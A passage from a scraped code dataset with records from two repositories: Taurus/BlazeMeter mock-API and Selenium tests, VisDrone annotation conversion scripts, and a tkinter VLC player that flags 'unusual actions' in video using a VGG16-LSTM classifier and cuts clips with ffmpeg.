{\"type\": \"taurus\"}}},\n 'https://a.blazemeter.com/api/v4/tests/1/files': {\"result\": None},\n 'https://a.blazemeter.com/api/v4/tests/1/start': {\"result\": {\"id\": 1}},\n 'https://a.blazemeter.com/api/v4/masters/1/stop': {\"result\": None},\n 'https://a.blazemeter.com/api/v4/masters/1/public-token': {\"result\": {\"publicToken\": \"token\"}},\n }\n\n mock.mock_patch = {\n 'https://a.blazemeter.com/api/v4/tests/1': {\"result\": {}}\n }\n\n prov = CloudProvisioning()\n prov.browser_open = None\n prov.public_report = True\n prov.user.token = \"<PASSWORD>\"\n prov.engine = EngineEmul()\n prov.engine.aggregator = ConsolidatingAggregator()\n\n prov.engine.config.merge({\n ScenarioExecutor.EXEC: [{\n \"executor\": \"mock\",\n \"locations\": {\n \"aws\": 1},\n \"files\": ModuleMock().get_resource_files()}]})\n\n mock.apply(prov.user)\n\n prov.prepare()\n prov.startup()\n prov.check()\n prov._last_check_time = 0\n prov.check()\n prov.shutdown()\n prov.post_process()\n", "id": "9594129", "language": "Python", "matching_score": 2.6891231536865234, "max_stars_count": 1, "path": "tests/modules/test_blazemeter.py" }, { "content": "from unittest import skipUnless\n\nfrom bzt.bza import User\nfrom bzt.six import PY3, text_type\nfrom tests import BZTestCase\nfrom tests.mocks import BZMock\n\n\nclass TestBZAClient(BZTestCase):\n @skipUnless(PY3, \"Py3-only test\")\n def test_bza_py3_unicode_token(self):\n mock = BZMock()\n mock.mock_get.update({\n 'https://a.blazemeter.com/api/v4/web/version': {\"result\": {}},\n })\n\n user = User()\n mock.apply(user)\n user.token = text_type(\"something:something\")\n user.ping()\n", "id": "8505602", "language": "Python", "matching_score": 0.3783622682094574, "max_stars_count": 1, "path": "tests/test_bza.py" }, { "content": "# coding=utf-8\nimport unittest\nimport re\nfrom time import sleep\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.support import expected_conditions as econd\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.common.keys import Keys\n\nimport apiritif\nfrom bzt.resources import selenium_taurus_extras\n\n_vars = {}\n_tpl = selenium_taurus_extras.Template(_vars)\n\nclass TestRequests(unittest.TestCase):\n def setUp(self):\n options = webdriver.FirefoxOptions()\n profile = webdriver.FirefoxProfile()\n self.driver = webdriver.Firefox(profile, firefox_options=options)\n self.driver.implicitly_wait(60.0)\n self.wnd_mng = selenium_taurus_extras.WindowManager(self.driver)\n self.frm_mng = selenium_taurus_extras.FrameManager(self.driver)\n\n def tearDown(self):\n self.driver.quit()\n\n def test_requests(self):\n self.driver.implicitly_wait(60.0)\n\n with apiritif.transaction_logged('Test'):\n self.driver.get(_tpl.apply('https://www.demoblaze.com/'))\n self.driver.find_element(By.ID, _tpl.apply('itemc')).click()\n\n\n", "id": "3842565", "language": "Python", "matching_score": 1.930994987487793, "max_stars_count": 1, "path": "tests/resources/selenium/python/reuse_after_extension.py" }, { "content": "\nimport logging\nimport random\nimport string\nimport sys\nimport time\nimport unittest\n\nimport apiritif\n\nvars = {\n \n}\n\n\nclass TestAPI(unittest.TestCase):\n \n\n def test_1_apiritif(self):\n with apiritif.transaction('apiritif'):\n response = apiritif.http.get('http://localhost:8000/')\n \n", "id": "11020816", "language": "Python", "matching_score": 0.40632057189941406, "max_stars_count": 1, "path": "tests/resources/apiritif/test_codegen_requests.py" } ]
1.954038
huynhtnhut97
[ { "content": "import numpy as np\r\nimport cv2\r\nimport glob\r\nimport errno\r\nimport os\r\nimport math\r\nimport time\r\n\r\nprint ('-----------------------------------SCRIPT 01-----------------------------------')\r\nprint ('-------------CONVERT ANNOTATION FROM VISDRONE TO TURICREATE FORMAT-------------')\r\npath = \"/mnt/data/visdrone2018/gdown.pl/VisDrone2019-VID-val/annotations/*.txt\"\r\npath_image = \"/mnt/data/visdrone2018/gdown.pl/VisDrone2019-VID-val/sequences/\"\r\n\r\nfiles = glob.glob(path)\r\n\r\ndef class_name(i):\r\n\tswitcher={\r\n\t\t1:'pedestrian',\r\n\t\t2:'people',\r\n\t\t3:'bicycle',\r\n\t\t4:'car',\r\n\t\t5:'van',\r\n\t\t6:'truck',\r\n\t\t7:'tricycle',\r\n\t\t8:'awning-tricycle',\r\n\t\t9:'bus',\r\n\t\t10:'motor'\r\n\t}\r\n\treturn switcher.get(i,\"Invalid class\")\r\n\r\ndef convert_str(object):\r\n\tconverted_str = '<object>' + \\\r\n\t\t\t\t\t\t\t\t\t\t '<name>' + object['name'] + '</name>' + \\\r\n\t\t\t\t\t\t\t\t\t\t '<pose>' + object['pose'] + '</pose>' + \\\r\n\t\t\t\t\t\t\t\t\t\t '<truncated>' + object['truncated'] + '</truncated>' + \\\r\n\t\t\t\t\t\t\t\t\t\t '<difficult>' + object['difficult'] + '</difficult>' + \\\r\n\t\t\t\t\t\t\t\t\t\t '<bndbox>' + object['bndbox'] + '</bndbox>' + \\\r\n\t\t\t\t\t\t\t\t\t'</object>' \r\n\treturn converted_str\r\n\r\ndef create_new(object):\r\n\tconverted_str = '<annotation>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '<folder>Visdrone2018</folder>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '<filename>' + object['filename'] + '</filename>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '<source>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<database>Visdrone2018 Database</database>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<image>flickr</image>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '</source>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '<size>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<width>' + object['width'] + '</width>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<height>' + object['height'] + '</height>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<depth>' + object['depth'] + '</depth>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '</size>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '<segmented>0</segmented>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '<object>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<name>' + object['name'] + '</name>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<pose>' + object['pose'] + '</pose>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<truncated>' + object['truncated'] + '</truncated>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<difficult>' + object['difficult'] + '</difficult>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t '<bndbox>' + object['bndbox'] + '</bndbox>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t '</object>' + \\\r\n\t\t\t\t\t\t\t\t\t'</annotation>' \r\n\treturn converted_str\r\n\r\nfor name in files:\r\n\t\ttry:\r\n\t\t\t\twith open(name,'r') as f:\r\n\t\t\t\t\t\tpass # do what you want\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t# Image name not includes extended\r\n\t\t\t\t\t\t# File frame image\r\n\t\t\t\t\t\tbase = os.path.splitext(os.path.basename(name))[0]\r\n\r\n\t\t\t\t\t\timage = cv2.imread(\"/mnt/data/visdrone2018/gdown.pl/VisDrone2019-VID-train/sequences/uav0000360_00001_v/0000418.jpg\")\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\theight = np.size(image, 0)\r\n\t\t\t\t\t\twidth = np.size(image, 1)\r\n\t\t\t\t\t\tdepth = np.size(image, 2) \r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tlist_frame=[] \r\n\t\t\t\t\t\timax=0\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t# Read all lines in file\r\n\t\t\t\t\t\t#lines = f.read().split(\"\\n\")\r\n\r\n\t\t\t\t\t\tfor line in f:\r\n\t\t\t\t\t\t\t(frame_id,target_id,bbox_left,bbox_top,bbox_width,bbox_height,score,object_category,truncation,occlusion ) = map(int,(line.split(',')))\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t# Check if frame has person (a line in file)\r\n\t\t\t\t\t\t\tif (object_category != 0 and object_category != 11):\r\n\t\t\t\t\t\t\t\t# An object in a frame of video\r\n\t\t\t\t\t\t\t\tobjects={\r\n\t\t\t\t\t\t\t\t\t#'image':'',\r\n\t\t\t\t\t\t\t\t\t'filename': base + '_' + str(frame_id),\r\n\t\t\t\t\t\t\t\t\t'width': str(width),\r\n\t\t\t\t\t\t\t\t\t'height': str(height),\r\n\t\t\t\t\t\t\t\t\t'depth': str(depth),\r\n\t\t\t\t\t\t\t\t\t'name': class_name(int(object_category)),\r\n\t\t\t\t\t\t\t\t\t'pose': 'Unspecified',\r\n\t\t\t\t\t\t\t\t\t'truncated': '0',\r\n\t\t\t\t\t\t\t\t\t'difficult': '0',\r\n\t\t\t\t\t\t\t\t\t'bndbox': ''\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t # objects['image'] = 'Height: ' + str(height) + ' Width: ' + str(width)\r\n\t\t\t\t\t\t\t # objects['name'] = class_name(frame_info[7])\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tcoordinates={\r\n\t\t\t\t\t\t\t\t\t'ymin': int(bbox_top),\r\n\t\t\t\t\t\t\t\t\t'xmin': int(bbox_left),\r\n\t\t\t\t\t\t\t\t\t'ymax': int(bbox_height) + int(bbox_top),\r\n\t\t\t\t\t\t\t\t\t'xmax': int(bbox_width) + int(bbox_left),\r\n\t\t\t\t\t\t\t\t} \r\n\t\t\t\t\t\t\t\t\r\n# object_annotation = {\r\n# 'label': 'person',\r\n# 'coordinates': coordinates\r\n# } \r\n\r\n\t\t\t\t\t\t\t\tcoordinate_str = '<xmin>' + str(coordinates['xmin']) + '</xmin>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '<ymin>' + str(coordinates['ymin']) + '</ymin>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '<xmax>' + str(coordinates['xmax']) + '</xmax>' + \\\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '<ymax>' + str(coordinates['ymax']) + '</ymax>' \r\n\t\t\t\t\t\t\t\tobjects['bndbox'] = coordinate_str\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tif (int(frame_id) <= len(list_frame) ):\r\n\t\t\t\t\t\t\t\t\t# Update\r\n\t\t\t\t\t\t\t\t\tlist_frame[int(frame_id) - 1]['anno'] = list_frame[int(frame_id) - 1]['anno'].replace('</annotation>', '')\r\n\t\t\t\t\t\t\t\t\tlist_frame[int(frame_id) - 1]['anno'] = list_frame[int(frame_id) - 1]['anno'] + convert_str(objects) + '</annotation>'\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\tprint(objects['name'])\r\n\t\t\t\t\t\t\t\t\t# New element\r\n\t\t\t\t\t\t\t\t\tlist_frame.append({\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'name': objects['filename'],\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'anno': create_new(objects)\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t })\r\n\t\t\t\t\t\tconverted_dir = '/mnt/data/nhuthuynh/val_converted_xml/' + base \r\n\t\t\t\t\t\tif not os.path.exists(converted_dir):\r\n\t\t\t\t\t\t\tos.makedirs(converted_dir)\r\n\t\t\t\t\t\t\r\n\r\n\t\t\t\t\t\tfor frame in list_frame:\r\n# if not os.path.exists(os.path.join(converted_dir,frame['name'], )):\r\n# os.makedirs(os.path.join(train_dir,class_name))\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tfconvert = open(os.path.join(converted_dir,frame['name'] + '.xml'), 'a+')\r\n\t\t\t\t\t\t\tfconvert.write('%s\\n' %str(frame['anno']))\r\n\t\t\t\t\t\t\tfconvert.close() \r\n\t\t\t\t\t\tprint('Done %s' %os.path.basename(name))\r\n\t\texcept IOError as exc:\r\n\t\t\t\tif exc.errno != errno.EISDIR:\r\n\t\t\t\t\t\traise", "id": "7067887", "language": "Python", "matching_score": 3.5643341541290283, "max_stars_count": 0, "path": "convertToXML.py" }, { "content": "import time\r\nimport json\r\nimport argparse\r\nimport os\r\nfrom operator import itemgetter\r\nimport shutil\r\ndef createImages(path,dest):\r\n\t#Copy images from sequences to JPEGImages\r\n\tfor folder in os.listdir(path):\r\n\t\tfolderPath = os.path.join(path,folder)\r\n\t\tif (os.path.isdir(folderPath)):\r\n\t\t\tfor filename in os.listdir(folderPath):\r\n\t\t\t\tfilePath = os.path.join(folderPath,filename)\r\n\t\t\t\tformatFilename = int(os.path.splitext(filename)[0])\r\n\t\t\t\tnewFilename = folder+'_'+str(formatFilename)+'.jpg'\r\n\t\t\t\tnewFilePath = os.path.join(dest,newFilename)\r\n\t\t\t\tif(os.path.isfile(filePath)):\r\n\t\t\t\t\tshutil.copy(filePath,newFilePath)\r\ndef createAnnotation(path,dest):\r\n\t#Copy xml annotation to Annotations\r\n\tfor folder in os.listdir(path):\r\n\t\tfolderPath = os.path.join(path,folder)\r\n\t\tif (os.path.isdir(folderPath)):\r\n\t\t\tfor filename in os.listdir(folderPath):\r\n\t\t\t\tfilePath = os.path.join(folderPath,filename)\r\n\t\t\t\tnewFilePath = os.path.join(dest,filename)\r\n\t\t\t\tif(os.path.isfile(filePath)):\r\n\t\t\t\t\tshutil.copy(filePath,newFilePath)\r\ndef createTrainAndTestFile(source,dest,role):\r\n\t#Create val and train file for Main\r\n\tclasses = [\"ignore_region\",\"pedestrian\",\"people\",\"bicycle\",\"car\",\"van\",\"truck\",\"tricycle\",\"awning-tricycle\",\"bus\",\"motor\",\"others\"]\r\n\tground_truth = []\r\n\tobject_Category = 0\r\n\tpath = source\r\n\tfor filename in os.listdir(path):\r\n\t\t#frameID = 0\r\n\t\tfilePath = os.path.join(path,filename)\r\n\t\tif (os.path.isfile(filePath)):\r\n\t\t\twith open(os.path.join(path,filename), 'r') as f:\r\n\t\t\t\tfor line in f:\r\n\t\t\t\t\t(frame_id,target_id,bbox_left,bbox_top,bbox_width,bbox_height,score,object_category,truncation,occlusion ) = map(int,(line.split(',')))\r\n\t\t\t\t\t#if(object_category!=0 and object_category !=11):\r\n\t\t\t\t\tif(object_category!=0 and object_category!=11):\r\n\t\t\t\t\t\tfname = os.path.splitext(filename)[0]+'_'+str(frame_id)\r\n\t\t\t\t\t\tground_truth.append(list((fname,frame_id,target_id,bbox_left,bbox_top,bbox_width,bbox_height,score,object_category,truncation,occlusion)))\r\n\t\r\n\tsortedList = sorted(ground_truth, key=itemgetter(8))\r\n\tfor obj in sortedList:\r\n\r\n\t\t# FrameID = obj[0]\r\n\t\t# bbox_left = obj[2]\r\n\t\t# bbox_top = obj[3]\r\n\t\t# bbox_width = obj[4]\r\n\t\t# bbox_height = obj[5]\r\n\t\tfname = obj[0]\r\n\t\tcurrent_Object_category = obj[8]\r\n\t\tprint(current_Object_category)\r\n\t\t#pathtoDir = os.path.join(path,os.path.splitext(filename)[0])\r\n\t\tif(current_Object_category>object_Category):\r\n\t\t\tobject_Category = current_Object_category\r\n\t\t\tprint(object_Category)\r\n\t\t\tclass_name = classes[object_Category]\r\n\t\t\ttxtFile = open(os.path.join(dest,class_name+'_{}.txt'.format(role)),'w')\r\n\t\ttxtFile.write(str(fname)+' '+str(1))\r\n\t\ttxtFile.write('\\n')\r\n\t#print(\"Total frames in video {} is {}\".format(os.path.splitext(filename)[0],frameID))\r\ndef arg_parse():\r\n\t\"\"\"\r\n\tParse arguements to the detect module\r\n\t\r\n\t\"\"\"\r\n\tparser = argparse.ArgumentParser(description='YOLO v3 Video Detection Module')\r\n \r\n\tparser.add_argument(\"--imgs\", dest = 'imgsource',\r\n\t\t\t\t\t\tdefault = \"./image\", type = str)\r\n\tparser.add_argument(\"--imgsDest\", dest = 'imgdest',\r\n\t\t\t\t\t\tdefault = \"./image\", type = str)\r\n\r\n\tparser.add_argument(\"--annos\", dest = 'annosource',\r\n\t\t\t\t\t\tdefault = \"./annotations\", type = str)\r\n\tparser.add_argument(\"--annosDest\", dest = 'annodest',\r\n\t\t\t\t\t\tdefault = \"./annotations\", type = str)\r\n\r\n\tparser.add_argument(\"--trainTestDest\", dest = 'traintestdest',\r\n\t\t\t\t\t\tdefault = \"./image\", type = str)\r\n\tparser.add_argument(\"--originAnno\", dest = 'originanno',\r\n\t\t\t\t\t\tdefault = \"./image\", type = str)\r\n\treturn parser.parse_args()\r\nif __name__==\"__main__\":\r\n\targs = arg_parse()\r\n\tpathToImgSource = args.imgsource\r\n\tpathToImgDest = args.imgdest\r\n\tpathToAnnoSource = args.annosource\r\n\tpathToAnnoDest = args.annodest\r\n\ttrainTestDest = args.traintestdest\r\n\toriginAnno = args.originanno\r\n\t#createImages(pathToImgSource,pathToImgDest)\r\n\t#createAnnotation(pathToAnnoSource,pathToAnnoDest)\r\n\t#createTrainAndTestFile(originAnno,trainTestDest,'train')\r\n\tcreateTrainAndTestFile(originAnno,trainTestDest,'val ')", "id": "1005770", "language": "Python", "matching_score": 1.8311502933502197, "max_stars_count": 0, "path": "createVOCdataformat.py" }, { "content": "#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\n#\n# tkinter example for VLC Python bindings\n# Copyright (C) 2015 the VideoLAN team\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n#\n\"\"\"A simple example for VLC python bindings using tkinter. Uses python 3.4\n\nAuthor: <NAME>\nDate: 23-09-2015\n\"\"\"\n\n# import external libraries\nimport vlc\nimport sys\n\nif sys.version_info[0] < 3:\n\timport Tkinter as Tk\n\tfrom Tkinter import ttk\n\tfrom Tkinter.filedialog import askopenfilename\nelse:\n\timport tkinter as Tk\n\tfrom tkinter import ttk\n\tfrom tkinter.filedialog import askopenfilename\n\tfrom tkinter import messagebox\n\tfrom tkinter import PhotoImage\n\n# import standard libraries\nimport os\nimport pathlib\nfrom threading import Thread, Event\nimport time\nimport platform\nimport numpy as np\nimport sys\nimport os\nimport cv2\nimport datetime\nimport time\nimport subprocess\nfrom PIL import Image, ImageTk\nclass ttkTimer(Thread):\n\t\"\"\"a class serving same function as wxTimer... but there may be better ways to do this\n\t\"\"\"\n\tdef __init__(self, callback, tick):\n\t\tThread.__init__(self)\n\t\tself.callback = callback\n\t\tself.stopFlag = Event()\n\t\tself.tick = tick\n\t\tself.iters = 0\n\n\tdef run(self):\n\t\twhile not self.stopFlag.wait(self.tick):\n\t\t\tself.iters += 1\n\t\t\tself.callback()\n\n\tdef stop(self):\n\t\tself.stopFlag.set()\n\n\tdef get(self):\n\t\treturn self.iters\n\nclass Player(Tk.Frame):\n\t\"\"\"The main window has to deal with events.\n\t\"\"\"\n\tdef __init__(self, parent, title=None):\n\t\tTk.Frame.__init__(self, parent)\n\n\t\tself.parent = parent\n\n\t\tif title == None:\n\t\t\ttitle = \"tk_vlc\"\n\t\tself.parent.title(title)\n\n\t\t# Menu Bar\n\t\t# File Menu\n\t\tmenubar = Tk.Menu(self.parent)\n\t\tself.parent.config(menu=menubar)\n\n\t\tfolder_icon = ImageTk.PhotoImage(Image.open('./Icon/folder-icon.png'))\n\t\tplay_icon = ImageTk.PhotoImage(Image.open('./Icon/control-play-icon.png'))\n\t\tstop_icon = ImageTk.PhotoImage(Image.open('./Icon/control-stop-icon.png'))\n\t\tpause_icon = ImageTk.PhotoImage(Image.open('./Icon/control-pause-icon.png'))\n\t\tvolume_icon = ImageTk.PhotoImage(Image.open('./Icon/volume-icon.png'))\n\n\n\n\t\tfileMenu = Tk.Menu(menubar)\n\t\tfileMenu.add_command(label=\"Open\",underline=0, command=self.OnOpen)\n\t\tfileMenu.add_command(label=\"Detect\",underline=1, command=self.OnDetect)\n\t\tfileMenu.add_separator()\n\t\tfileMenu.add_command(label=\"Exit\", underline=2, command=_quit)\n\t\tmenubar.add_cascade(label=\"File\", menu=fileMenu)\n\n\t\t# The second panel holds controls\n\t\tself.player = None\n\t\tself.videopanel = ttk.Frame(self.parent)\n\t\tself.canvas = Tk.Canvas(self.videopanel).pack(fill=Tk.BOTH,expand=1)\n\t\tself.videopanel.pack(fill=Tk.BOTH,expand=1)\n\t\t#self.controller = controller\n\n\t\tctrlpanel = ttk.Frame(self.parent)\n\t\tpause = ttk.Button(ctrlpanel, image=pause_icon, command=self.OnPause)\n\t\tplay = ttk.Button(ctrlpanel, image=play_icon, command=self.OnPlay)\n\t\tstop = ttk.Button(ctrlpanel, image=stop_icon, command=self.OnStop)\n\t\tvolume = ttk.Button(ctrlpanel, image=volume_icon, command=self.OnSetVolume)\n\t\tself.progress = ttk.Progressbar(ctrlpanel, orient=\"horizontal\", length=200, mode=\"determinate\")\n\t\t#self.progress.bind('<Map>',self.OnDetect)\n\t\tself.bytes = 0\n\t\tself.maxbytes = 0\n\n\t\tpause.image = pause_icon\n\t\tplay.image = play_icon\n\t\tstop.image = stop_icon\n\t\tvolume.image = volume_icon\n\n\t\tself.progress.pack(side=Tk.LEFT)\n\t\tpause.pack(side=Tk.LEFT)\n\t\tplay.pack(side=Tk.LEFT)\n\t\tstop.pack(side=Tk.LEFT)\n\t\tvolume.pack(side=Tk.LEFT)\n\t\tself.volume_var = Tk.IntVar()\n\t\tself.volslider = Tk.Scale(ctrlpanel, variable=self.volume_var, command=self.volume_sel,\n\t\t\t\tfrom_=0, to=100, orient=Tk.HORIZONTAL, length=100)\n\t\tself.volslider.pack(side=Tk.LEFT)\n\t\tctrlpanel.pack(side=Tk.BOTTOM)\n\n\t\tctrlpanel2 = ttk.Frame(self.parent)\n\t\tself.scale_var = Tk.DoubleVar()\n\t\tself.timeslider_last_val = \"\"\n\t\tself.timeslider = Tk.Scale(ctrlpanel2, variable=self.scale_var, command=self.scale_sel,\n\t\t\t\tfrom_=0, to=1000, orient=Tk.HORIZONTAL, length=500)\n\t\tself.timeslider.pack(side=Tk.BOTTOM, fill=Tk.X,expand=1)\n\t\tself.timeslider_last_update = time.time()\n\t\tctrlpanel2.pack(side=Tk.BOTTOM,fill=Tk.X)\n\n\n\t\t# VLC player controls\n\t\tself.Instance = vlc.Instance()\n\t\tself.player = self.Instance.media_player_new()\n\n\t\t# below is a test, now use the File->Open file menu\n\t\t#media = self.Instance.media_new('output.mp4')\n\t\t#self.player.set_media(media)\n\t\t#self.player.play() # hit the player button\n\t\t#self.player.video_set_deinterlace(str_to_bytes('yadif'))\n\n\t\tself.timer = ttkTimer(self.OnTimer, 1.0)\n\t\tself.timer.start()\n\t\tself.parent.update()\n\n\t\t#self.player.set_hwnd(self.GetHandle()) # for windows, OnOpen does does this\n\n\n\tdef OnExit(self, evt):\n\t\t\"\"\"Closes the window.\n\t\t\"\"\"\n\t\tself.Close()\n\tdef Detect(self, fullname):\n\t\tsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\n\n\t\tfrom keras_video_classifier.library.recurrent_networks import VGG16BidirectionalLSTMVideoClassifier\n\t\tfrom keras_video_classifier.library.utility.ucf.UCF101_loader import load_ucf, scan_ucf_with_labels\n\n\t\tvgg16_include_top = True\n\t\tdata_dir_path = os.path.join(os.path.dirname(__file__), 'very_large_data')\n\t\tmodel_dir_path = os.path.join(os.path.dirname(__file__), 'models', 'UCF-101')\n\t\tdemo_dir_path = os.path.join(os.path.dirname(__file__), 'real-data')\n\t\tconfig_file_path = VGG16BidirectionalLSTMVideoClassifier.get_config_file_path(model_dir_path,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t vgg16_include_top=vgg16_include_top)\n\t\tweight_file_path = VGG16BidirectionalLSTMVideoClassifier.get_weight_file_path(model_dir_path,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t vgg16_include_top=vgg16_include_top)\n\n\t\tnp.random.seed(42)\n\n\t\tload_ucf(data_dir_path)\n\n\t\tpredictor = VGG16BidirectionalLSTMVideoClassifier()\n\t\tpredictor.load_model(config_file_path, weight_file_path)\n\n\t\tprint('reaching here three')\n\t\t\n\t\tunusual_actions = []\n\t\tusual_actions = []\n\t\tinterval = 3\n\t\ttxtFile = open('./reports/prediction_Each_Interval_Report'+'.txt','w')\n\t\t\n\t\tif os.path.isfile(fullname):\n\t\t\tprint(\"Predicting video: {}\".format(os.path.basename(fullname)))\n\t\t\tpredicted_labels = predictor.predict(fullname,interval=interval)\n\t\t\tprint(\"TOTAL {} ACTIONS\".format(len(predicted_labels)))\n\t\t\tfor index in range(len(predicted_labels)):\n\t\t\t\tif(predicted_labels[index] == \"Unusual action\"):\n\t\t\t\t\ttime = str(datetime.timedelta(seconds=index))\n\t\t\t\t\tprint('predicted: ' + predicted_labels[index] + ' at: {0}'.format(time))\n\t\t\t\t\tunusual_actions.append(list((fullname,time)))\n\t\t\t\telif(predicted_labels[index] == \"Usual action\"):\n\t\t\t\t\ttime = str(datetime.timedelta(seconds=index))\n\t\t\t\t\tprint('predicted: ' + predicted_labels[index] + ' at: {0}'.format(time))\n\t\t\t\t\tusual_actions.append(list((fullname,time)))\n\t\tprint(\"TOTAL: {} unusual actions and {} usual actions\".format(len(unusual_actions),len(usual_actions)))\n\t\ttxtFile.write(\"Unsual actions\")\n\t\ttxtFile.write('\\n')\n\t\tfor item in unusual_actions:\n\t\t\ttxtFile.write(item[0] + ' at '+ item[1])\n\t\t\ttxtFile.write('\\n')\n\t\ttxtFile.write(\"Usual actions\")\n\t\ttxtFile.write('\\n')\n\t\tfor item in usual_actions:\n\t\t\ttxtFile.write(item[0] + ' at '+ item[1])\n\t\t\ttxtFile.write('\\n')\n\t\ttxtFile.close()\n\t\tself.SplitVideo(fullname,unusual_actions)\n\t\treturn self.DrawToVideo(fullname,unusual_actions)\n\tdef SplitVideo(self,fullname, unusuals):\n\t\tindex = 1\n\t\tself.progress['maximum'] = len(unusuals)\n\n\t\tfor item in unusuals:\n\t\t\ttimes = time.strptime(item[1],'%H:%M:%S')\n\t\t\tsecond = int(datetime.timedelta(hours=times.tm_hour, minutes=times.tm_min, seconds=times.tm_sec).total_seconds())\n\t\t\tif not os.path.exists('./results'):\n\t\t\t\tos.mkdir('./results')\n\t\t\tfilename = './results/unusual_action_{}_{}.avi'.format(os.path.splitext(os.path.basename(fullname))[0],index)\n\t\t\tstart = second\n\t\t\tend = second + 2\n\t\t\tcmd = \"ffmpeg -y -i {} -ss {} -t {} {}\".format(fullname,start,3,filename)\n\t\t\tsubprocess.run(cmd, stderr=subprocess.STDOUT)\n\t\t\tself.progress[\"value\"]=index\n\t\t\tself.progress.update()\n\t\t\tindex+=1\n\tdef DrawToVideo(self,fullname, unusuals):\n\n\n\t\tcap = cv2.VideoCapture(fullname)\n\t\t# Find OpenCV version\n\t\t(major_ver, minor_ver, subminor_ver) = (cv2.__version__).split('.')\n\t\tif int(major_ver) < 3 :\n\t\t\tfps = cap.get(cv2.CV_CAP_PROP_FPS)\n\t\t\tprint(\"Frames per second using video.get(cv2.cv.CV_CAP_PROP_FPS): {0}\".format(fps))\n\t\telse:\n\t\t\tfps = cap.get(cv2.CAP_PROP_FPS)\n\t\t\tprint(\"Frames per second using video.get(cv2.CAP_PROP_FPS) : {0}\".format(fps))\n\t\twidth = cap.get(cv2.CAP_PROP_FRAME_WIDTH) # float\n\t\theight = cap.get(cv2.CAP_PROP_FRAME_HEIGHT) # float\n\t\tlength = cap.get(cv2.CAP_PROP_FRAME_COUNT)\n\t\tself.progress['maximum'] = length\n\t\tprint(\"Total frames: {}\".format(length))\n\t\t# _, frame = cap.read()\n\t\t# height, width, _ = frame.shape\n\t\tfourcc = cv2.VideoWriter_fourcc(*'XVID')\n\t\tvideoWriter = cv2.VideoWriter('./output_{}.avi'.format(os.path.basename(fullname)), fourcc, fps, (int(width), int(height)))\n\t\tassert cap.isOpened(), 'Cannot capture source'\n\n\t\tframes = 0\n\t\t\n\t\t# while cap.isOpened():\n\t\t# \tret, frame = cap.read()\n\t\t# \tif ret:\n\t\t# \t\tfor action in unusuals:\n\t\t# \t\t\tsecond = item[1]\n\t\t# \t\t\tif (frames<second*fps):\n\t\t# \t\t\t\tcv2.puttext(frame, \"Unusual action detected\",(10,10),cv2.FONT_HERSHEY_PLAIN,2,(255,0,0),1)\n\t\t# \t\t\t\tvideoWriter.write(frame)\n\t\t# \t\t\telif(frames==second*fps):\n\t\t# \t\t\t\tunusuals.remove(action)\n\t\t# \t\t\t\tbreak;\n\t\t# \tframes +=1\n\t\tfor action in unusuals:\n\t\t\ttimes = time.strptime(action[1],'%H:%M:%S')\n\t\t\tsecond = int(datetime.timedelta(hours=times.tm_hour, minutes=times.tm_min, seconds=times.tm_sec).total_seconds())\n\t\t\tprint(\"Drawing at: {}\".format(action[1]))\n\t\t\twhile cap.isOpened():\n\t\t\t\tret, frame = cap.read()\n\t\t\t\tif ret:\n\t\t\t\t\tif 